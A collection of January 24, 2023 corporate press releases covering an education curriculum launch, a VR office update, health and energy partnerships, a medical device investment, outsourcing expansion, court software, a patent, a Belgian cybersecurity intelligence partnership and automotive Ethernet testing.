School districts can access comprehensive, affordable curriculum and tools without compromising on quality, starting with Middle School Science AUSTIN, Texas, Jan. 24, 2023 /PRNewswire/ -- Today at the Future of Education Technology Conference, Propello is launching to empower all schools with access to high-quality instructional tools, curricula, and teacher support. As educators face the looming challenge of closing learning gaps that grew during the pandemic, the Propello platform helps school districts provide teachers with the comprehensive curriculum, scaffolding, and insights they need to support wide-ranging student needs. "US school districts are faced with budgetary trade-offs that can expand the education equity gap," said Hubert Kjellberg, CEO and Founder of Propello. "We want to ensure that lack of funding does not stand in the way of administrators' ability to provide students with access to high-quality, standards-aligned learning experiences." Research shows that ensuring students receive grade-level instruction is key to closing achievement gaps. One study found that students who started the school year behind and then received a higher percentage of standards-aligned lessons for their grade level were able to close the outcomes gap by seven months. However, higher-income students are 5.4X more likely to receive grade-appropriate assignments than low income students. Propello is comitted to making high-quality curriculum and instruction more affordable in order to reach students who need the most support. The edtech company is proud to offer schools free access to year-long, standards-aligned curricula including supports for English language learners and striving readers as well as micro-learning teacher professional development courses.



In addition, districts can access a robust technology platform of additional services and tools for 75% less than the typical cost of some of the largest curriculum providers. Propello gives schools an alternative to traditional textbooks, combining standards-aligned curricula, teacher support, data insights on student performance, seamless technology integration, and much more. "We know how important it is for teachers to adjust on the fly based on the unique needs of their classroom," said Amanda Bratten, Vice President of Content and Curriculum at Propello and a former teacher. "At Propello, we're building a platform that combines the instructional materials students need with the embedded teacher support I wish I'd had during the ten years I spent in the classroom."

This week, Propello is unveiling two science curricula for middle school teachers: Propello Science 6-8: A phenomena-based curriculum designed for the NGSS that uses the 5E model of instruction along with guided inquiry techniques to inspire the next generation of scientists. Propello IB MYP Science: A curriculum designed for the International Baccalaureate Middle Years Programme's science requirements with real-world, global learning focused on critical thinking & collaboration. This is the start of a full scope K-12 curriculum Propello will roll out soon including the upcoming launch of Propello ELA 6-8 and Propello Science K-5. To learn more about how your school district can get started with Propello, visit www.propello.com . About Propello Propello , a K-12 learning solutions provider, helps every student and teacher reach their full potential. Complete with comprehensive and standards-aligned materials, labs, assessments, learner supports, and more, Propello combines curriculum, pedagogy, and technology to improve student outcomes while saving teachers time. Learn more at www.propello.com. Media Contact:

Charlotte Ward

530-563-6860

[email protected] View original content to download multimedia:https://www.prnewswire.com/news-releases/propello-launches-to-make-access-to-high-quality-k-12-learning-more-equitable-301728443.html SOURCE Propello

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[January 24, 2023] VR Office solution Arthur announces the 'New Realities - New Productivity' update

The platform is a leading enterprise collaboration solution. The New Realities  New Productivity update is the 2nd update of the New Realities series. It is expected to further improve the productivity, accessibility, and overall experience of enterprise collaboration.

SAN MATEO, Calif., Jan. 24, 2023 (GLOBE NEWSWIRE) -- Arthur is a leading virtual reality (VR) office provider that enables enterprises to create large-scale virtual offices with advanced, fully immersive, and collaborative environments. Today, Arthur announces the New Realities  New Productivity update with three cornerstone features. This update further improves Arthurs leading position to leverage the arrival of truly enterprise-ready VR headsets and capture the expanding interest of enterprises in virtual collaboration. One of the cornerstone features is the web viewer which will allow enterprises to join their Arthur VR offices directly from their browser. While Arthur maintains that the in-VR experience of the platform is the pinnacle, the web viewer expands the possibilities and allows clients to include team members and clients without access to VR headsets. Even though headset use is growing globally, access to headsets is nowhere near as widespread as computers. The ability to access the Arthur VR office from a work laptop is expected to significantly improve ease of access and make the business metaverse more accessible for enterprises.

Arthur Web viewer: Join productive VR meetings directly from your browser Another cornerstone feature that improves accessibility and productivity in VR is the new workstation feature which allows users to seamlessly access their laptop and desktop screens in Arthur via a companion app. The ability to easily transfer content between the leading work device for many, i.e. a computer, and the Arthur virtual office will improve interoperability. Such interoperability is expected to expand the use cases and their benefit in day-to-day use through the integration of VR collaboration in the day-to-day workflow. Further, using the mixed reality features to pair the workstation with a keyboard will create the ultimate productivity experience.

Arthur Workstation: Seamlessly access and transfer materials between your work computer and VR The third cornerstone feature is the full body avatar, complete with the option of face and eye tracking. Arthurs photorealistic avatars have already garnered praise from their clients for how realistic they make the VR meetings. This update will significantly improve that realism to provide an unparalleled immersive experience for working, collaboration and training across an increasingly remote workforce.

Arthur Avatas: Latest generation of photorealistic Arthur avatars with a full body and expressions. No artificial rendering is involved; see it in Arthur as you see it here.



Arthur has been at the forefront of innovation in the VR collaboration space since 2016 when the company piloted the first versions of its solution. Led by its Founder and CEO, Christoph Fleischmann, Arthur has continued to build a strong product, team, and understanding of enterprise needs from a VR office solution. Today, Arthur provides a range of Fortune 500 businesses and international organizations with a VR office solution focused on enabling the best remote productivity and opening new ways of working. Arthur, in combination with the new generation of enterprise-ready VR headsets like the Meta Quest Pro, can help break the duality of physical office work and videoconferencing, and enable a new way of working that gives people the flexibility of work location without affecting their productivity. Arthurs top-tier clientele, such as PwC, Societe Generale, NTT Data, and the United Nations, leverage the solution to be pioneers of their industry in utilizing VR offices to reimagine work. The New Realities - New Productivity update will unlock further uptake of VR offices and enable enterprises to explore new ways of working, new possibilities of value generation, and new frontiers of employee satisfaction via flexibility and inclusion. As a company, our mission is to transform the way we work, said Mr. Fleischmann. We have been proud to see our clients leverage their VR offices in increasing number of ways to improve productivity and generate significant value already in the early days of VR collaboration. The arrival of web viewer and workstation unlocks entirely new levels of accessibility and productivity. With these features, I can bring more team members and stakeholders into my VR office and seamlessly collaborate with the improved access to all our materials in our prominent work devices i.e. laptops and PCs. This level of accessibility and interoperability further tears down the barriers to VR collaboration. Coupled with the realism of Arthurs industry-leading photo-realistic avatars, we will enable our enterprise clients to be at the forefront of innovation and craft a better way of working. In todays digital world, forcing employees back into physical offices should not be necessary, significant business travel should not be necessary, and adapting our whole lives around the location of our work opportunities should not be necessary. The New Realities - New Productivity update will help us make VR collaboration more accessible and unlock another frontier in enabling a future of work that is better and apt for our current world and needs.

Arthurs virtual office is built for enterprises. Alongside the three cornerstone features in the New Realities  New Productivity update, Arthur also expands its integration with other enterprise tools and IT needs. Arthur is announcing the general availability of single sign-on i.e., SSO to benefit enterprises and improve ease of access. Furthermore, Arthur users can now leverage an integration with Microsoft OneDrive to seamlessly access their OneDrive files directly in Arthur. Here is a summary of the key updates that Arthur announces today: 2d access via the Web viewer: Users can now access Arthur via their browser. Workstation in VR: Users can now bring their computer screens into Arthur and seamlessly access and transfer materials between VR and their computer. Full body avatars with expressions: Arthur's solution will now have full body avatars, complete with legs, and have the option of face and eye tracking on compatible devices. Upgraded backend experience: Enterprises can now use Single Sign-On (SSO) to access Arthur. Portal experience is more efficient than ever. OneDrive integration is here. Arthurs platform already addresses the needs of a wide variety of global industries, including energy, pharmaceuticals, consulting, insurance, and finance and others. Arthur continues to gain significant traction, with usage continuously increasing. In 2022, enterprise users have spent more time than ever in Arthur. By the end of 2022, the number of active users is more than 2.5 times higher compared to December 2021. This New Realities  New Productivity update offers even more promise for 2023 and beyond. About Arthur Arthur is a large-scale virtual office space provider that enables enterprises and their teams to meet, collaborate and manage their work. Its pioneering virtual office platform empowers enterprises to maximize their level of remote productivity and free themselves from geographic and physical constraints. The virtual office solution is used by major organizations like PwC, the United Nations, NTT Data, and Societe Generale and continues expanding its business portfolio across industries. For more information, visit www.arthur.digital. Photos accompanying this announcement are available at: https://www.globenewswire.com/NewsRoom/AttachmentNg/a927fa88-1f91-49b8-b1d5-9a132b1d2b9d https://www.globenewswire.com/NewsRoom/AttachmentNg/393029d6-dfa9-418e-8489-8f6c752f3e95 https://www.globenewswire.com/NewsRoom/AttachmentNg/9c092a04-1e9b-4fc6-98fe-211e5f475a59

Contact Lakshman Lattipally Press contact [email protected] +1 650-648-6227 LinkedIn: https://www.linkedin.com/company/arthur-technologies Twitter: https://twitter.com/arthurspaces Facebook: https://www.facebook.com/ArthurSpaces

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[January 24, 2023] InterPro Notches Record Bookings in Q4 2022. Wins Awards at 2022 International Maintenance Conference. Adds New Clients and Reseller.

STONEHAM, Mass., Jan. 24, 2023 (GLOBE NEWSWIRE) -- InterPro Solutions, which offers the first and only suite of mobile solutions designed exclusively for IBM Maximo, announced today that Q4 was another successful quarter. The company recorded record bookings, won two Solution Awards at the 2022 International Maintenance Conference (IMC 2022), and signed a reseller agreement with Texas-based Maximo services company, GenesisSolutions.

IBM Maximo is the top enterprise asset management (EAM) software in the world, used by millions of operations and maintenance professionals to manage complex facilities and field environments. InterPro offers a suite of Maximo mobile apps that O&M teams need to do their jobs efficiently and effectively without the cost, complexity, and service impacts of available alternatives. In Q4, InterPro notched all-time record sales bookings that were more than 14 percent over Q4 2021. Over the period, InterPro added a number of innovative organizations to its client list, including a major cancer research laboratory, a regional gas distribution company, an international logistics infrastructure company, and a base operations support company providing services to the US military. InterPro also saw expansions at current clients Duke Energy, TAQA North, Diamond Offshore, Petronas, York Region, and two Ivy League universities, among others. For the eighth straight quarter, the companys sales pipeline increasd to a new high.



Our bookings for Q4 were our highest ever. Driven by significant new clients, and purchases of additional products and user licenses by existing clients, bookings were up more than 14% over Q4 2021  which was previously our best-ever quarter. With an uptick in interest in our SaaS products, EZMaxVendor and EZMaxRequest, and a continued strong appetite for EZMaxMobile and EZMaxPlanner, we again saw expansion of our sales pipeline to another new high. We expect a strong start to 2023, said Dan Smith, Vice President, Sales and Marketing at InterPro Solutions. In early December, InterPro announced that it won two Solution Awards at the 2022 International Maintenance Conference (IMC 2022). Its unique mobile application for managing service vendors, EZMaxVendor, won the Work Execution Management category, and its mobile solution for Maximo scheduling and planning, EZMaxPlanner, won the Asset Management category.

The company also signed a new reseller, Genesis Technology Solutions, Inc., an ABS Group Company, based in Spring, Texas. We are seeing increased interest in our EZMax Suite across the globe, and were actively seeking a partner that had both the Maximo knowledge and professional services capabilities to be an InterPro re-seller, said Smith. We have worked with in the past, were impressed by their capabilities, and were eager to establish a formal reseller arrangement. InterPros suite of Maximo mobile products offer unparalleled performance and unmatched mobile functionality, said Bill Fahey, InterPro Solutions Chief Executive Officer. We continue to gain new clients across a variety of industries and geographies, add resellers, expand our footprint across existing clients, and be recognized by the industry  as evidenced by our two awards at the 2022 International Maintenance Conference. We expect to come out of the gate strong in 2023. Learn more about InterPros EZMax Suite for Maximo. About InterPro Solutions

InterPro Solutions, an IBM Business Partner, offers the first and only suite of mobile Enterprise Asset Management (EAM) solutions designed exclusively for IBM Maximo  using native Maximo rules, permissions, and datastores  eliminating double updates, data lags, and synchronization failures. InterPros EZMax Suite expands upon native Maximo capabilities to mirror the way people actually work  with intuitive navigation, rapid app response, and rich functionality  allowing operations and maintenance professionals to effectively communicate with their community members and manage tasks, technicians, and vendors in a way that improves responsiveness to their organizations. Learn more about InterPro Solutions.

Media contact: Melissa Ekstein [email protected] 781-213-1166

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[January 24, 2023] CliniSync and Unite Us Team Up to Expand Coordinated Care Throughout the Buckeye State

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- The Ohio Health Information Partnership, operating CliniSync , Ohio's statewide health information exchange (HIE) and Unite Us , the nation's leading cross-sector collaboration software company connecting health and social care services, are partnering to expand the coordinated care network known as Unite Ohio . This five-year collaboration will allow providers, managed care organizations and Community Service Organizations across the state to access the network, allowing Ohioans to easily connect to much-needed wraparound supportive services. The Unite Ohio network is a coordinated care network of health, human, and social service providers. Partners in the network are connected through the Unite Us Platform, an integrated, HITRUST-certified social care solution helping providers and community-based organizations address social determinants of health and advance health equity. The network helps connect people to community resources and services such as food assistance, housing and shelter, and individual and family support with real-time measurable outcomes data. Partnering with Unite Ohio enables providers and organizations to move beyond a resource directory to a scalable, HITRUST coordinated care network that supports all people through their health and social care journeys. With the help of public health and nonprofit professionals across the state, this outcomes-focused network collaborates to support community members' health and overall wellness while eliminating systemic barriers to care. "CliniSync and our Stakeholders are committed to addressing health disparity and equity for all Ohioans by overcoming barriers and roadblocks preventing better outcomes. Recognizing that 75% of health outcomes are affected by social determinants of health, enabling coordination, and facilitating information flow is a critical step. Through the Unite Ohio network the state has a significan opportunity to create real change through an aligned approach in managing Social Drivers of Health." said Dan Paoletti, CEO of CliniSync and the Ohio Health Information Partnership.



Unite Ohio was originally launched in 2020 and was built in collaboration with partners including MetroHealth, Cleveland Clinic, and University Hospitals. The network has expanded into 2021 and is currently serving Ohioans across half of the state's eighty-eight counties from Cleveland to Cincinnati, with plans to expand across every Ohio county by the end of 2023. "The collective goal of our partnership with CliniSync is to effectively increase equitable access to care for Ohioans regardless of circumstance," said Maria Gerace, Community Engagement Manager at Unite Us.

"CliniSync and Unite Us will work together in partnership with our community partners and healthcare providers to redefine the quality, impact, and intersection of health and social care across the state," she added. Currently, the network includes 350+ participating organizations with access to 1,000+ other programs across the state for Ohioans seeking support in Unite Ohio's shared infrastructure. This partnership between Unite Us and CliniSync will continue expansion to hospital systems and health plans throughout Ohio to further bridge the gap between health and social services. To learn more about services offered through the network or for community-based organizations that would like to join and offer services, visit https://ohio.uniteus.com/ . About CliniSync Ohio's CliniSync Health Information Exchange is one of the fastest growing and most successful HIEs in the nation. At CliniSync, improving healthcare coordination and delivery are at the core of everything. CliniSync believes that when the people organizing, managing, or delivering healthcare have access to a comprehensive picture of a patient's health information, they can make better informed, data-driven decisions that can ultimately make healthcare more equitable for all people. About Unite Us Unite Us is a technology company that builds coordinated care networks of health and social service providers. With Unite Us' end-to-end solution, providers across sectors identify social care needs, send, and receive secure electronic referrals, report on tangible outcomes, and transform payment models within a secure and collaborative ecosystem. Unite Us' community engagement teams build sustainable partnerships with local organizations to ensure their networks have solid foundations, launch successfully, and continue to grow and thrive. This HITRUST-certified social care infrastructure helps communities address social determinants of health and advance health equity. Follow Unite Us on LinkedIn , Twitter , Instagram , and Facebook . CONTACT: [email protected] View original content to download multimedia:https://www.prnewswire.com/news-releases/clinisync-and-unite-us-team-up-to-expand-coordinated-care-throughout-the-buckeye-state-301726508.html SOURCE Unite Us

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[January 24, 2023] AI-enabled power marketer Gridmatic launches retailer to meet advanced energy needs of commercial customers

Gridmatic, the industry-leading AI-enabled power marketer, announced today the launch of Gridmatic Retail to optimize clean energy purchasing and provide predictability and automation for commercial and industrial customers. Gridmatic has hired industry veterans Michael Osowski and Amy Van Gelder to head up the new business unit. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230123005809/en/ Gridmatic, the industry-leading AI-enabled power marketer, announced today the launch of Gridmatic Retail to optimize clean energy purchasing and provide predictability and automation for commercial and industrial customers. (Photo: Business Wire) Power marketers play a critical role in the energy industry to fulfill the needs of energy suppliers and consumers. Traditional power marketers, however, are increasingly challenged in serving customers' goals of transitioning to carbon-free energy, due to the increasing complexity and volatility of the rising penetration of renewable energy, and lack of innovation.



Leveraging its market-proven AI, Gridmatic Retail enables businesses to meet carbon reduction targets with clean energy contracts that drive down costs and provide predictability and stability. The company offers next-generation retail energy products including Time-Matched Renewables, which matches clean energy to consumer consumption on a 24/7 hourly basis, and custom products for customers with variable and complex needs. "There is strong and growing demand for time-matched renewables but a lack of viable solutions due to the complexity of the challenge," said Matt Wytock, CEO and Founder of Gridmatic. "Gridmatic is applying Silicon Valley AI to solve this problem and has four years of market success with its algorithms for industry-leading electricity market predictions."

"I'm thrilled to join Gridmatic and excited to combine my decades of experience building energy retail businesses with clean energy solutions that go beyond the traditional approach of procuring Renewable Energy Credits," said Mike Osowski, President of Gridmatic Retail. As part of the launch, Gridmatic announced a customer agreement with EdgeConneX, the pioneer in global Hyperlocal to Hyperscale Data Center Solutions. Gridmatic will provide time-matched carbon-free energy for a data center in Texas, within the Electric Reliability Council of Texas' (ERCOT) territory. "We're excited to have found a partner aligned to our goals and forward thinking," said Anand Ramesh, Senior Vice President of Advanced Technology for EdgeConneX. "Gridmatic will assemble a portfolio of contracted CFE generation and storage assets to provide carbon-free energy that is time-matched on an hourly basis." About Gridmatic

Unlike traditional power marketers, Gridmatic uses AI to optimize renewable energy participation in wholesale markets by forecasting energy supply, demand and pricing. Leveraging market-proven algorithms, Gridmatic is able to provide stability, predictability and automation for energy buyers, sellers, and storage owners amid increasing volatility. With Gridmatic Retail, the company offers advanced solutions for businesses with complex energy needs to hit carbon reduction goals, including time matched, variable load and carbon-free energy products. With its industry-leading AI, Gridmatic is working to accelerate the transition to net zero and balance the renewable-powered grid. For more, visit https://www.gridmatic.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20230123005809/en/

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[January 24, 2023] EndoSound Receives Investment From AGA's GI Opportunity Fund

EndoSound, Inc., an Oregon-based medical device innovator developing technologies that enhance access, reduce cost, and increase the safety of endoscopic ultrasound (EUS) procedures, announced that the company received an investment from the American Gastroenterological Association (AGA), AGA's new venture capital fund, GI Opportunity Fund 1. "AGA's commitment to driving innovation expanded through our venture fund and we're proud to support emerging companies, like EndoSound, that are transforming care for patients with digestive disease. Technology that can increase patient access to care and procedure safety while also lowering health care costs is truly exceptional," said Lawrence Kosinski, MD, AGAF, AGA Governing Board Councilor for Development and Growth. EndoSound was granted Food and Drug Administration (FDA) Breakthrough Device designation in July 2021. The EndoSound Vision System (EVS) is a disruptive EUS platform whose attachable transducer and supportive components transforms a conventional upper endoscope into a fully functional endoscopic ultrasound device. EUS is an imaging technology like CT, MRI and point of care ultrasound. It is critical to the diagnosis and treatment of a variety of benign and malignant diseases particularly those of the liver, gallbladder, and the pancreas. The cost of existing systems has limited the availability of this crucial modality in the United States and around the world. "As a practicing GI physician, the support of the AGA is an enormous validation for our mission," says Stephen Steinberg, MD, CEO and President of EndoSound, Inc. "We were initially honored as winners of te AGA's Tech Summit 2022 Shark Tank. This investment is an even greater testament to their belief in our team and technology. We could not be more pleased with a partner who shares similar values and a desire to provide the utmost innovative technologies to the GI community, its physicians, and their patients."



By eliminating the burden of cost, the EVS will provide physicians with a technological option that can enable care for their patients in a greater number of locations and settings. This brings the potential for enormous benefits to patients, payers, and providers by reducing costs in the healthcare system. The EVS is not cleared by the FDA. "We are excited to continue to build our fund's portfolio of early-stage, high-growth GI companies with our recent investment in Endosound, a company with technology that converts any endoscope into an endoscopic ultrasound," said Andrea Vossler, co-founder and managing director, Varia Ventures.

About EndoSound EndoSound, Inc., is a privately held company based in Portland, Oregon. EndoSound is dedicated to expanding access to endoscopic ultrasound technology around the world. With its patented design, EndoSound transforms an upper endoscope into a fully functional EUS scope. It is comprised of an experienced team of scientists, engineers, clinicians, and seasoned business professionals with a track record of bringing new medical devices to market. About AGA The American Gastroenterological Association is the trusted voice of the GI community. Founded in 1897, AGA has grown to more than 16,000 members from around the globe who are involved in all aspects of the science, practice, and advancement of gastroenterology. The AGA Institute administers the practice, research and educational programs of the organization. For more information, visit www.gastro.org. The AGA Center for GI Innovation and Technology supports innovation and the development of new technology in gastroenterology, hepatology, nutrition and obesity by guiding medical device and therapeutics innovators through the technology development and adoption process. About Varia Ventures Varia Ventures is a next-generation venture capital platform for professional organizations interested in building wealth for themselves and their members through investing in a portfolio of highly curated, emerging companies originating from their organizations. Varia's platform blends insights from key opinion leaders, strategic partners, and industry experts through its "end-to-end" technology solution designed to both support early-stage companies while providing compelling investment opportunities to its investors. For more information, visit variaventures.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005252/en/

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[January 24, 2023] Global CX Provider with Award-Winning Company Culture to Launch Operations in Egypt and Poland, Creating Thousands of New Hybrid Jobs

Alorica Inc., a trusted leader in next-generation customer experience (CX) solutions, today announced its expansion plans into Africa and Europe through the launch of its operations in Cairo, Egypt and Lodz, Poland. As one of the largest business process outsourcers (BPO) globally with 100,000 employees across 17 countries and 24 years of CX experience-Alorica continues to scale and diversify its best-in-class workforce, now with a presence in these new markets. Setting up operations in Egypt and Poland further enables the digital CX company to meet the growing expectations of multinational companies to deliver industry-leading business outcomes including multilingual customer care, revenue generation, content management & content moderation, tech support and CX consulting. Alorica plans to open for business in both countries during second quarter of this year. "Growth through Africa and Europe is key to our strategy of offering culturally and linguistically relevant support to well-established and emerging businesses worldwide," said Greg Haller, Chief Executive Officer at Alorica. "Egypt and Poland have been on our radar as robust commercial markets with a strong talent pipeline. Our new operations will unlock career opportunities for local residents and create a distinct path to extend our solutions to clients in the region." With the expansion into Egypt and Poland, Alorica continues its investment into high-growth markets with scalable talent. Its experienced workforce offers CX support in over 30 languages to service brands in high-demand industries ranging from financial services, technology, travel & hospitality to e-commerce and retail among others. With existing operations of 1,000+ employees in Sofia, Bulgaria, the company will continue to leverage its innovative technologies to engage employees and customers through a combination of its work-at-home and on-site programs. In Cairo, Alorica's new contact center is strategically located in Sheikh Zayed City near top private universities, while its site in Lodz, Poland is in the heart of the city near Warsaw-accessible to high-caliber candidates. Both locations are equipped with numerous onsite amenities-accessible transportation, public services, retail stores, and more-while providing maximum efficiency for both brick-and-mortar and work-at-home operations that appeals to a multicultural and multilingual workforce. Rooted in a people-first foundation, Alorica focuses on employee engagement as a critical driver of performance. The company prides itself on its socially responsible and inclusive work environment, which has resulted in record high employee satisfaction scores. A pioneer i versatile operating models that fosters flexibility, Alorica offers jobs around the globe across state-of the-art contact centers as well as through its work-at-home solution Alorica Anywhere and hybrid Connection Hubs-serving as important channels to link teams for collaboration, training and continuous improvement.



"Leveraging Alorica's global scale and deep experience, we will provide localized service delivery to companies here in the region, while also enhancing EMEA's reputation as the top outsourcing destination for customers everywhere," said Alorica's EMEA President Matt Sims. "I'm excited to bring Alorica's mission-driven culture to Egypt and Poland as we hire and develop talented individuals from diverse backgrounds who are passionate about making lives better. As part of our corporate social responsibility, we are committed to not only doing business in the region, but also making an impact through our philanthropic work, people-focused programs and sustainability initiatives, benefiting the communities where our employees live and work. We're looking forward to creating many jobs in these countries." The company continues to receive industry honors for its world-class vision and operational excellence-having been named a Leader in the 2022 Gartner Magic Quadrant for Customer Service BPO for the second consecutive year. Alorica has also garnered recognition as an employer of choice for its purposeful culture and employee engagement, winning awards such as Top Places to Work, Employer of the Year and Best in Biz, while also earning Great Place to Work certifications for its operations in the Philippines and Guatemala.

To learn more about Alorica's insanely great CX services in EMEA, email us at [email protected]. About Alorica Alorica creates insanely great digital customer experiences at scale. Our team of 100,000 solutionists, technologists and operators partner with global brands and disruptive innovators to deliver digitally-charged, tailored interactions customers crave. With a track record of creating long-term loyalty, Alorica brings actionable insights, proven processes and CX leadership to transform clients' business needs, whether they're focused on digital optimization, customer engagement or market expansion. Through strategic partnerships with best-in-breed technology, we design, integrate and optimize digital solutions personalized to reach clients' most desired outcomes now and for the future. Alorica drives CX innovation for the best clients around the globe from its award-winning operations in 17 countries worldwide. To learn more, visit www.alorica.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005083/en/

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[January 24, 2023] Lucas County, Ohio, Selects Tyler Technologies' Enterprise Justice Solution Suite

Tyler Technologies, Inc. (NYSE: TYL) announced it has signed an agreement with the Lucas County, Ohio, Court of Common Pleas General Division and Clerk of Courts for Tyler's Enterprise Justice suite, powered by Odyssey. Specifically, the court selected Enterprise Case Manager, Financial Management, Content Management, Integration Toolkit, and Custom Reporting. The county selected Tyler to provide a comprehensive case management system that can easily connect with Tyler's eFile & Serve electronic filing system currently in use. The solutions will be delivered as a cloud-hosted service, making it easy for the county to share crucial case information in real-time between courts. "We look forward to extending our use of Tyler's justice solutions with the upcoming implementation of the Enterprise Justice suite," said Eric Zatko, director of Lucas County Justice Integrated ystems. "Integrating electronic filing with our case management system will streamline a number of processes for our staff and constituents. We will also be able to expertly manage highly sensitive data in these cases due to the solution's strength and selected deployment."



Enterprise Justice will be delivered as a hosted service, bringing several benefits to Lucas County, including increased solution availability and uptime, as well as enhanced security and compliance. In addition, this deployment eliminates the need for the court to build and maintain a local server environment. "We're excited to deliver numerous benefits to Lucas County through our Enterprise Justice suite, including effective court case and financial management, customized reporting, and improved data sharing," said Brian McGrath, president of Tyler's Courts & Justice Division. "Delivering these solutions as a cloud-hosted service will also bolster the county's security and compliance, providing better service to its constituents."

Lucas County is located in northwest Ohio and is bordered to the east by Lake Erie. It has a population of nearly 430,000 and includes the city of Toledo. Lucas County is the ninth Ohio justice community to adopt Tyler's court solutions. About Tyler Technologies, Inc. Tyler Technologies (NYSE: TYL) provides integrated software and technology services to the public sector. Tyler's end-to-end solutions empower local, state, and federal government entities to operate more efficiently and connect more transparently with their constituents and with each other. By connecting data and processes across disparate systems, Tyler's solutions are transforming how clients gain actionable insights that solve problems in their communities. Tyler has more than 37,000 successful installations across more than 12,000 locations, with clients in all 50 states, Canada, the Caribbean, Australia, and other international locations. Tyler has been recognized numerous times for growth and innovation, including Government Technology's GovTech 100 list and Forbes' "Most Innovative Growth Companies" list. More information about Tyler Technologies, an S&P 500 company headquartered in Plano, Texas, can be found at tylertech.com. #TYL_Financial View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005099/en/

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[January 24, 2023] Lleida.net receives its fifth patent from South Korean government

MADRID, Spain, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Spanish technology services company Lleida.net (BME:LLN) (EPA:ALLLN) (OTCQX:LLEIF) has received its fifth patent from the South Korean government, this time for one of its methods for producing electronic contracts. The patent, which is valid for 20 years, is the company's 219th worldwide, and represents the consolidation of its technology in the Asian country. On December 12, the company announced the granting of another patent by the Seoul authorities for its EIDAS certified contracting method. The company estimates that this recognition has the potential to directly and indirectly generate three million euros in revenue over the next two decades. "We are very pleased to haveachieved such a relevant level of recognition in a country like South Korea, which is an example for technological development worldwide," explained Sisco Sapena, CEO and founder of the company.



At present, Lleida.net has patents in the main Asian markets, including China, Japan and India. Lleida.net seeks to expand its presence in the field of e-signature, e-notification and e-contracting through a solid strategy in the development of intellectual property and research and development, as well as a strengthening of its globalization approach both in the markets where it is already present and where it plans to be in the future.

The company has obtained patents in more than 60 countries on five continents, including the European Union, the United States, Russia, Mexico, Colombia, Argentina, Peru, South Africa, Nigeria, Australia and New Zealand. Lleida.net is listed on the OTCQX index in New York, Euronext Growth in Paris and BME Growth in Madrid. In the last 30 days, the company's shares have appreciated by more than 43 percent, and it continues to be one of the most liquid companies on the BME Growth index.



Pedrosa IR [email protected]

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[January 24, 2023] Partnership Between Kingdom of Belgium and Recorded Future to Make Belgium the Safest Cyber Country in Europe

The Centre for Cyber Security Belgium (CCB) Adopts Recorded Future's Intelligence Cloud to Race Ahead of Threats to Vital Interests and Citizens BRUSSELS and BOSTON, Jan. 24, 2023 /PRNewswire/ -- The Kingdom of Belgium's Centre for Cyber Security Belgium (CCB) and Recorded Future, the intelligence company, today announced details of an expanded strategic partnership to improve the cybersecurity of Belgium. Recorded Future and CCB will partner to provide threat information to national security agencies, Vital Interest Organizations and their sectoral authorities, and other partners. In particular, Recorded Future will help power CCB's "Spear Warnings" to Belgium companies and critical infrastructure to notify of critical vulnerabilities that may be targeted by cyber threat actors. As Belgium and its people face a diverse landscape of cyber threats, the Kingdom's premiere cybersecurity authority had previously chosen Recorded Future's Intelligence Cloud, and the company's years of expertise, to help fulfill the National Cyber Security Strategy 2.0. "Recorded Future provides CCB with the actionable intelligence necessary to analyze and distribute information on threats, vulnerabilities and attacks on the information and communication systems of Belgium's vital sectors including critical infrastructure, government systems and critical data."  Miguel de Bruycker, Director, Centre for Cyberseurity Belgium (CCB)



Belgium and Recorded Future have a long-standing trust in their ability to take results from Recorded Future's Intelligence Cloud and help protect Belgium's interests, through CCB's one-of-a-kind "Spear Warning Program" before the threats materialize into brand impairment, compliance failure, financial fraud, or operational downtime. The collaboration announced today will extend this partnership in order to rapidly create and operationalize intelligence-based solutions for the protection of Belgium. "Recorded Future is fully committed to assisting in Belgium's defense with our intelligence. We look forward to working on this imperative challenge with the brilliant team at CCB whose initiatives are central to making Belgium one of the least vulnerable countries in Europe."  Dr. Christopher Ahlberg, CEO and Co-Founder, Recorded Future

About CCB The Centre for Cybersecurity Belgium (CCB) is the national authority for cybersecurity in Belgium. The CCB supervises, coordinates and monitors the application of the Belgian cyber security strategy. Through optimal information exchange, companies, the government, providers of essential services and the population can protect themselves appropriately. The Centre for Cybersecurity Belgium (CCB) was established by Royal Decree of 10 October 2014 and operates under the authority of the Prime Minister. It is headed by director Miguel de Bruycker and deputy director Phedra Clouner. About Recorded Future Recorded Future is the world's largest intelligence company. Recorded Future's Intelligence Cloud provides complete coverage across adversaries, infrastructure, and targets. By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future provides real-time visibility into the digital landscape and empowers clients to take proactive action to disrupt adversaries and keep their people, systems, and infrastructure safe. Headquartered in Boston with offices and employees around the world, Recorded Future works with over 1,500 businesses and government organizations across more than 64 countries. Learn more at recordedfuture.com. View original content to download multimedia:https://www.prnewswire.com/news-releases/partnership-between-kingdom-of-belgium-and-recorded-future-to-make-belgium-the-safest-cyber-country-in-europe-301729189.html SOURCE Recorded Future

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[January 24, 2023] UNH InterOperability Lab and Microchip Technology Partner to Expand 1000BASE-T1 PCS and PHY-C Automotive Compliance Testing

The University of New Hampshire InterOperability Laboratory (UNH-IOL), an independent provider of broad-based testing and standards conformance services for the networking industry, today announced they have expanded testing for the 1000BASE-T1 PCS and PHY Control market to help further compliance for the automotive industry. By partnering with Microchip Technology, who created a development test platform that is compatible with OPEN Alliance Test Plans for 1000BASE-T1 conformance testing, the automotive industry is even closer to having a complete compliance for chip manufacturers. The enhancements of the testing will allow manufacturers the ability to go to market with greater confidence in their products. Aided by Microchip's test tool development, complete coverage of conformance testing for physical link training (PHY Control) and coding sublayer (PCS) requirements is now available, which will drive improved interoperability across the industry. "To advance Ethernet in-vehicle networking, multi-vendor, standards-compliant devices are a necessity," said Charles Forni, Vice President of Microchip's USB and Networking business unit. "Microchip is pleased to partner with UNH-IOL to enable the test capability to deliver interoperable devices, providing the market with added choice and flexibility for Single Pair Ethernet." The UNH-IOL has been a key player in the automotive industry supporting the adoption and standardization of in-vehicle Ethernet technologies for many years, contributing to various standardsbodies and industry alliances, including IEEE, Avnu Alliance and OPEN Alliance. The new capability enables testing based on the OPEN Alliance TC12 test plans and clearer definitions of the tests inside the OPEN Alliance TC12 test plans authored by UNH-IOL staff.



